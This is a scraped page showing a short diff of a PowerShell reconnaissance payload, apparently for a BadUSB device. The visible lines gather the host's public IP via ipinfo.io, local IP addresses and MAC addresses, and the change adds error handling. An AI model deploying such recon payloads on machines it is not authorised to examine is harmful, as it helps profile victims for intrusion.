🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    Payloads/Flip-ADV-Recon/ADV-Recon.ps1
    skipped 196 lines
    197 197  try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
    198 198  catch{$computerPubIP="Error getting Public IP"}
    199 199  
    200  -$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String
     200 +try{$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String}
     201 +catch{$localIP = "Error getting local IP"}
    201 202  
    202 203  $MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
    203 204  
    skipped 385 lines
Please wait...
Page is in error, reload to recover